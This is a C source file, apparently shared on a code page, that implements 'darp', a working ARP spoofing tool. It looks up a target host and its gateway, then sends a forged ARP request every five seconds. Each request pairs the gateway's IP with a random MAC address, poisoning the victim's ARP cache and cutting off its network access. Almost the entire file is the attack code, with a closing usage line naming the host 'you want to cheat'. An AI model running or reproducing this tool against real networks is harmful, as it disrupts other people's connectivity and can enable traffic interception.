|
作者:wojiaohensen
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <malloc.h>
#include <linux/filter.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <sys/ioctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT_RCV 4
#define INTERVAL_CHEAT 5
#define BUFFERSIZE_REQUEST (NLMSG_SPACE (sizeof (struct rtmsg)))
#define BUFFERSIZE_RESPONSE (4096 << 1)
#define MAXNO_NLMSG 16
struct rawarp
{
struct ethhdr eh;
struct ether_arp msg;
}__attribute__((packed));
/*
the gateway of NIC.
@ifindex: NIC index.
@return: the gateway ipaddr. 0xffffffff(-1) as failure.
*/
in_addr_t gateway_on_nic (int ifindex);
/*
the destation host is actively??
@sock: socket id.
@dstaddr: host
@return: 0: not actively; 1: actively
*/
int pinghost (int sock, in_addr_t dstaddr, u_int8_t *dsthwaddr);
/*
get NIC ipaddr by NIC index.
@sock: socket id.
@index: NIC index.
return: NIC netaddr.
*/
in_addr_t getaddrbyindex (int sock, int index);
/*
get index of NIC that can direct link to addr.
@sock: socket id.
@addr: destation ipaddr.
@return: NIC index.
*/
int bindnicbyaddr (int sock, in_addr_t addr);
/*
send invalidly arp request to destation host.
@sock: socket id.
@gateway_addr: ip address of gateway host.
@dstipaddr: ip address of destation.
@dsthwaddr: hardware address of destation.
@return: -1: error.
*/
int cheat (int sock, in_addr_t *gateway_addr,
in_addr_t *dstipaddr, u_int8_t *dsthwaddr);
/*
generate random hardware address.
@hwaddr: save the random hardware generated.
*/
void gen_hwaddr (u_int8_t *hwadd);
/*
setup arp protocol.
please check '/usr/include/netinet/if_ether.h' to get argument meaning.
*/
void setup_arpmsg (struct rawarp *arpmsg,
unsigned char *dsthwa,
unsigned char *srchwa,
__be16 ha_type,
__be16 op,
u_int8_t *sha,
in_addr_t *spa,
u_int8_t *tha,
in_addr_t *tpa);
int main (int argc, char **argv)
{
const struct timeval timeout = {TIMEOUT_RCV, 0};
struct hostent *host;
int sock;
int ifindex;
in_addr_t gateway_addr;
u_int8_t dsthwaddr[ETH_ALEN];
if (2 != argc)
{
fprintf (stderr, "Missing host.\n");
return -1;
}
if (NULL == (host = gethostbyname (argv[1])))
{
fprintf (stderr, "get host address failure: %s.\n", strerror (errno));
return -1;
}
if (-1 == (sock = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ARP))))
{
fprintf (stderr, "create socket failure: %s.\n", strerror (errno));
return -1;
}
if (-1 == setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof (struct timeval)))
{
fprintf (stderr, "set socket feature RCVTIMEO failure: %s.\n", strerror (errno));
goto close_sock;
}
if (-1 == (ifindex = bindnicbyaddr (sock, *(in_addr_t *) host->h_addr)))
goto close_sock;
/* destation is actively?? */
if (!pinghost (sock, *(in_addr_t *) host->h_addr, dsthwaddr))
{
fprintf (stderr, "host %s isn't actively.\n", argv[1]);
goto close_sock;
}
/* get the ip address of gateway. */
if ((in_addr_t) -1 == (gateway_addr = gateway_on_nic (ifindex)))
{
fprintf (stderr, "can'f find getway.\n");
goto close_sock;
}
/* cheat destation (change the arp entry for gateway.)*/
cheat (sock, &gateway_addr, (in_addr_t *) host->h_addr, dsthwaddr);
close_sock:
close (sock);
return 1;
}
int cheat (int sock, in_addr_t *gateway_addr,
in_addr_t *dstipaddr, u_int8_t *dsthwaddr)
{
struct rawarp request;
u_int8_t random_hwaddr[ETH_ALEN];
struct sockaddr_ll paddr;
size_t paddr_size = sizeof (struct sockaddr_ll);
bzero (&paddr, sizeof (struct sockaddr_ll));
if (-1 == getsockname (sock, (struct sockaddr *) &paddr,
(socklen_t *) &paddr_size))
{
fprintf (stderr, "get socket address failure: %s.\n", strerror (errno));
return -1;
}
setup_arpmsg (&request,
dsthwaddr, random_hwaddr, paddr.sll_hatype,
ARPOP_REQUEST, random_hwaddr, gateway_addr, NULL, dstipaddr);
while (1)
{
sleep (INTERVAL_CHEAT);
gen_hwaddr (random_hwaddr);
memcpy (request.eh.h_source, random_hwaddr, ETH_ALEN);
memcpy (request.msg.arp_sha, random_hwaddr, ETH_ALEN);
if (-1 == send (sock, &request, sizeof (struct rawarp), 0))
{
if (EINTR != errno &&
EAGAIN != errno &&
EWOULDBLOCK != errno)
{
fprintf (stderr, "send arp request failure: %s.\n", strerror (errno));
break;
}
continue;
}
}
return -1;
}
/*
generate random hardware address.
@hwaddr: save the random hardware generated.
*/
void gen_hwaddr (u_int8_t *hwaddr)
{
static int fd = -1;
hwaddr[0] = 0;
if (-1 == fd)
{
char *file_random = "/dev/urandom";
if (-1 == (fd = open (file_random, O_RDONLY)))
{
memcpy ((hwaddr + 1), hwaddr, (ETH_ALEN - 1));
return;
}
}
read (fd, (hwaddr + 1), (ETH_ALEN - 1));
return;
}
in_addr_t gateway_on_nic (int ifindex)
{
char buffer_request[BUFFERSIZE_REQUEST]__attribute__((aligned (NLMSG_ALIGNTO)));
char *buffer_response;
int nd;
struct nlmsghdr *nh;
struct rtmsg *route_msg;
struct rtattr *route_attr;
ssize_t bytes_recv;
struct nlmsghdr *gatewaylist[MAXNO_NLMSG];
size_t len = 0;
int i = 0;
in_addr_t gateway_addr = 0xffffffff;
if (NULL == (buffer_response = memalign (NLMSG_ALIGNTO, BUFFERSIZE_RESPONSE)))
{
fprintf (stderr, "allocate memory failure: %s.\n", strerror (errno));
return gateway_addr;
}
if (-1 == (nd = socket (PF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)))
{
fprintf (stderr, "create socket failure: %s.\n", strerror (errno));
goto free_buffer;
}
bzero (buffer_request, sizeof (BUFFERSIZE_REQUEST));
nh = (struct nlmsghdr *) buffer_request;
route_msg = (struct rtmsg *) NLMSG_DATA (nh);
nh->nlmsg_len = NLMSG_LENGTH (sizeof (struct rtmsg));
nh->nlmsg_type = RTM_GETROUTE;
nh->nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
route_msg->rtm_table = RT_TABLE_MAIN;
if (-1 == send (nd, buffer_request, BUFFERSIZE_REQUEST, 0))
{
fprintf (stderr, "send request failure: %s.\n", strerror (errno));
goto close_nd;
}
if (-1 == (bytes_recv = recv (nd, buffer_response, BUFFERSIZE_RESPONSE, 0)))
{
fprintf (stderr, "recv response failure: %s.\n", strerror (errno));
goto close_nd;
}
nh = (struct nlmsghdr *) buffer_response;
for (; NLMSG_OK (nh, bytes_recv); nh = NLMSG_NEXT (nh, bytes_recv))
{
route_msg = (struct rtmsg *) NLMSG_DATA (nh);
if (RT_TABLE_MAIN != route_msg->rtm_table)
continue;
route_attr = (struct rtattr *) RTM_RTA (route_msg);
len = RTM_PAYLOAD (nh);
for (; RTA_OK (route_attr, len); route_attr = RTA_NEXT (route_attr, len))
{
if (RTA_GATEWAY != route_attr->rta_type)
continue;
gatewaylist[i] = nh;
i++;
break;
}
}
while (--i >= 0)
{
int isgateway = 0;
nh = gatewaylist[i];
route_msg = NLMSG_DATA (nh);
route_attr = (struct rtattr *) RTM_RTA (route_msg);
len = RTM_PAYLOAD (nh);
for (; RTA_OK (route_attr, len); route_attr = RTA_NEXT (route_attr, len))
{
switch (route_attr->rta_type)
{
case RTA_OIF:
if (ifindex != *(int *) RTA_DATA (route_attr))
break;
if (isgateway)
goto free_buffer;
isgateway = 1;
break;
case RTA_GATEWAY:
memcpy (&gateway_addr, (int *) RTA_DATA (route_attr), sizeof (int));
if (isgateway)
goto free_buffer;
break;
default:
break;
}
}
}
close_nd:
close (nd);
free_buffer:
free (buffer_response);
return gateway_addr;
}
int pinghost (int sock, in_addr_t dstaddr, u_int8_t *dsthwaddr)
{
struct sock_filter sfilter[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 5, 0x00000806 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x15, 0, 3, 0x00000002 },
{ 0x20, 0, 0, 0x0000001c },
// dst address.
{ 0x15, 0, 1, 0x00000000 },
{ 0x6, 0, 0, 0x00000060 },
{ 0x6, 0, 0, 0x00000000 },
};
struct sock_fprog fprog;
struct rawarp request;
struct rawarp response;
struct sockaddr_ll saddr;
in_addr_t srcaddr;
int size_saddr;
int x = 1;
int isactive = 0;
size_saddr = sizeof (struct sockaddr_ll);
bzero (&saddr, sizeof (struct sockaddr_ll));
if (-1 == getsockname (sock, (struct sockaddr *) &saddr, (socklen_t *) &size_saddr))
return 0;
if (0 == (srcaddr = getaddrbyindex (sock, saddr.sll_ifindex)))
return 0;
/* set sock filter. */
sfilter[5].k = htonl (dstaddr);
fprog.len = sizeof (sfilter) / sizeof (struct sock_filter);
fprog.filter = sfilter;
if (-1 == setsockopt (sock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof (struct sock_fprog)))
return 0;
setup_arpmsg (&request,
NULL, saddr.sll_addr, saddr.sll_hatype, ARPOP_REQUEST,
saddr.sll_addr, &srcaddr, NULL, &dstaddr);
if (-1 == send (sock, &request, sizeof (struct rawarp), 0))
goto detach_filter;
while (1)
{
if (sizeof (struct rawarp) != read (sock, &response, sizeof (struct rawarp)))
{
if (EINTR == errno)
continue;
}
else
{
isactive = 1;
memcpy (dsthwaddr, response.eh.h_source, ETH_ALEN);
}
break;
}
detach_filter:
setsockopt (sock, SOL_SOCKET, SO_DETACH_FILTER, &x, sizeof (int));
return isactive;
}
void setup_arpmsg (struct rawarp *arpmsg,
unsigned char *dsthwa,
unsigned char *srchwa,
__be16 ha_type,
__be16 op,
u_int8_t *sha,
in_addr_t *spa,
u_int8_t *tha,
in_addr_t *tpa)
{
/* pad ether frame header. */
if (NULL == dsthwa)
memset (arpmsg->eh.h_dest, 0xff, ETH_ALEN);
else
memcpy (arpmsg->eh.h_dest, dsthwa, ETH_ALEN);
memcpy (arpmsg->eh.h_source, srchwa, ETH_ALEN);
arpmsg->eh.h_proto = htons (ETH_P_ARP);
/* pad ARP request */
arpmsg->msg.arp_hrd = htons (ha_type);
arpmsg->msg.arp_pro = htons (ETH_P_IP);
arpmsg->msg.arp_hln = ETH_ALEN;
arpmsg->msg.arp_pln = 4;
arpmsg->msg.arp_op = htons (op);
memcpy (arpmsg->msg.arp_sha, sha, ETH_ALEN);
memcpy (arpmsg->msg.arp_spa, spa, 4);
if (NULL == tha)
memset (arpmsg->msg.arp_tha, 0xff, ETH_ALEN);
else
memcpy (arpmsg->msg.arp_tha, tha, ETH_ALEN);
memcpy (arpmsg->msg.arp_tpa, tpa, 4);
return;
}
in_addr_t getaddrbyindex (int sock, int index)
{
struct ifreq req;
in_addr_t retval;
bzero (&req, sizeof (struct ifreq));
req.ifr_ifindex = index;
if (-1 == ioctl (sock, SIOCGIFNAME, &req))
return 0;
if (-1 == ioctl (sock, SIOCGIFADDR, &req))
return 0;
memcpy (&retval, &(((struct sockaddr_in *) &req.ifr_addr)->sin_addr.s_addr),
sizeof (in_addr_t));
return retval;
}
int bindnicbyaddr (int sock, in_addr_t dstaddr)
{
struct sockaddr_in netmask;
struct ifconf iflist;
struct ifreq *ifinfo;
int count;
struct sockaddr_ll paddr;
iflist.ifc_len = getpagesize () & (~ sizeof (struct ifreq));
iflist.ifc_req = (struct ifreq *) malloc (getpagesize ());
if (-1 == ioctl (sock, SIOCGIFCONF, &iflist))
{
fprintf (stderr, "get NIC list failure: %s.\n", strerror (errno));
return -1;
}
count = iflist.ifc_len / sizeof (struct ifreq);
while (--count >= 0)
{
ifinfo = (struct ifreq *) (iflist.ifc_req + count);
if ((-1 == ioctl (sock, SIOCGIFHWADDR, ifinfo)) && \
(ARPHRD_ETHER != ifinfo->ifr_hwaddr.sa_family) && \
(ARPHRD_ETHER != ifinfo->ifr_hwaddr.sa_family))
continue;
if ((-1 == ioctl (sock, SIOCGIFNETMASK, ifinfo)) && \
(AF_INET != (*(struct sockaddr_in *) &ifinfo->ifr_netmask).sin_family))
continue;
netmask = *(struct sockaddr_in *) &ifinfo->ifr_netmask;
if (-1 == ioctl (sock, SIOCGIFADDR, ifinfo))
continue;
if (!((dstaddr ^ (*(struct sockaddr_in *) &ifinfo->ifr_addr).sin_addr.s_addr) &
netmask.sin_addr.s_addr))
break;
}
if (-1 != count)
{
if (-1 != ioctl (sock, SIOCGIFINDEX, ifinfo))
{
size_t len = sizeof (struct sockaddr_ll);
bzero (&paddr, sizeof (struct sockaddr_ll));
paddr.sll_family = AF_PACKET;
paddr.sll_ifindex = ifinfo->ifr_ifindex;
if (-1 != bind (sock, (struct sockaddr *) &paddr, (socklen_t) len))
count = ifinfo->ifr_ifindex;
else
count = -1;
}
else
count = -1;
}
free (iflist.ifc_req);
return count;
} Usage:$ sudo ./darp [host_ip| host_name](that you want to cheat, but the destation host would be direct link). |
|